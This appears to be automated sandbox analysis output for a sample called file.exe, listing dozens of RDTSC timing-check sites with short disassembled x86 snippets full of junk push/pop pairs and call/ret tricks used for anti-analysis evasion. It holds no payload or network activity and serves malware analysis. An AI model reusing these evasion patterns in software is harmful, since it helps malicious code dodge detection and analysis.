Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A80F2 second address: 8A8144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7A9876E32Dh 0x0000000e pop edx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F7A9876E328h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000004h 0x0000002c jmp 00007F7A9876E32Ch 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 jc 00007F7A9876E32Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8144 second address: 8A8148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8148 second address: 8A8170 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F7A9876E33Dh 0x00000011 jmp 00007F7A9876E337h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8170 second address: 8A8176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A85AD second address: 8A85B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8841 second address: 8A8845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8845 second address: 8A884B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A884B second address: 8A8850 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8850 second address: 8A8897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F7A9876E32Ah 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F7A9876E328h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2468h], eax 0x0000002e lea eax, dword ptr [ebp+12479266h] 0x00000034 xor di, B190h 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8897 second address: 8A88A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7A98DDD9D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88A2 second address: 8A88A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88A8 second address: 8A88AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88AC second address: 8A8903 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7A9876E333h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F7A9876E328h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d lea eax, dword ptr [ebp+12479222h] 0x00000033 or dword ptr [ebp+12451169h], eax 0x00000039 push eax 0x0000003a pushad 0x0000003b push ebx 0x0000003c push eax 0x0000003d pop eax 0x0000003e pop ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8903 second address: 8A8907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8907 second address: 8A890B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3E10 second address: 8E3E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F7A98DDD9D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3E21 second address: 8E3E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E43D8 second address: 8E43DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E43DE second address: 8E43E8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A9876E326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E467E second address: 8E469E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F7A98DDD9E3h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E469E second address: 8E46A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8076 second address: 8E807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAD75 second address: 8EADB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A9876E334h 0x00000008 jmp 00007F7A9876E32Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7A9876E333h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADB2 second address: 8EADB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADB6 second address: 8EADBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADBC second address: 8EADE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A98DDD9E1h 0x0000000d jmp 00007F7A98DDD9E0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADE5 second address: 8EADEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADEF second address: 8EADF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADF5 second address: 8EADF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDB64 second address: 8EDB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDCDA second address: 8EDCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A9876E336h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDCF4 second address: 8EDD1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DFh 0x00000007 jmp 00007F7A98DDD9DCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jg 00007F7A98DDD9F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDD1D second address: 8EDD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDD21 second address: 8EDD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDFF8 second address: 8EDFFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDFFC second address: 8EE002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3D27 second address: 8F3D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A835C second address: 8A8368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8427 second address: 8A842D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A842D second address: 8A8432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8CF6 second address: 8F8D12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7A9876E336h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F81AB second address: 8F81C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 js 00007F7A98DDD9EDh 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F7A98DDD9DBh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8890 second address: 8F889F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 jnc 00007F7A9876E326h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F889F second address: 8F88CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F7A98DDD9E9h 0x0000000d jmp 00007F7A98DDD9DDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F88CF second address: 8F88D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F88D4 second address: 8F88E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F7A98DDD9D6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F88E0 second address: 8F88ED instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBD1C second address: 8FBD36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E0h 0x00000007 jnl 00007F7A98DDD9DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB763 second address: 8FB767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB767 second address: 8FB76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB76D second address: 8FB773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBA2F second address: 8FBA44 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A98DDD9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBA44 second address: 8FBA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7A9876E326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBA4E second address: 8FBA52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905035 second address: 905042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905042 second address: 90505F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A98DDD9DFh 0x0000000d jnc 00007F7A98DDD9D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90505F second address: 905083 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905083 second address: 90508D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7A98DDD9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90508D second address: 905097 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90328B second address: 903291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9033F0 second address: 9033FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9036E5 second address: 9036F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7A98DDD9D6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F7A98DDD9D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9036F8 second address: 9036FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9036FC second address: 903702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903702 second address: 903708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903C40 second address: 903C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904238 second address: 904241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904241 second address: 90425B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A98DDD9DDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7A98DDD9D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90425B second address: 904265 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A9876E326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904265 second address: 904273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F7A98DDD9D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904273 second address: 90429A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7A9876E326h 0x00000008 jmp 00007F7A9876E339h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90429A second address: 90429E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9083F3 second address: 9083FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F7A9876E326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9087F3 second address: 908804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908804 second address: 908812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908812 second address: 90881F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90881F second address: 90884E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7A9876E338h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9089C3 second address: 9089C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908C47 second address: 908C5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 914A72 second address: 914A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 914A7B second address: 914A81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 914A81 second address: 914A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9155FE second address: 915618 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push esi 0x0000000c jo 00007F7A9876E32Ah 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9189CC second address: 9189E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9189E1 second address: 9189E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9189E5 second address: 9189F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7A98DDD9D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF58 second address: 91DF7E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A9876E326h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A9876E338h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF7E second address: 91DF84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF84 second address: 91DF91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D90D second address: 92D928 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f jno 00007F7A98DDD9D6h 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930C87 second address: 930C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F7A9876E326h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930C95 second address: 930C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930C99 second address: 930CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935AE6 second address: 935AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935AEC second address: 935AF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
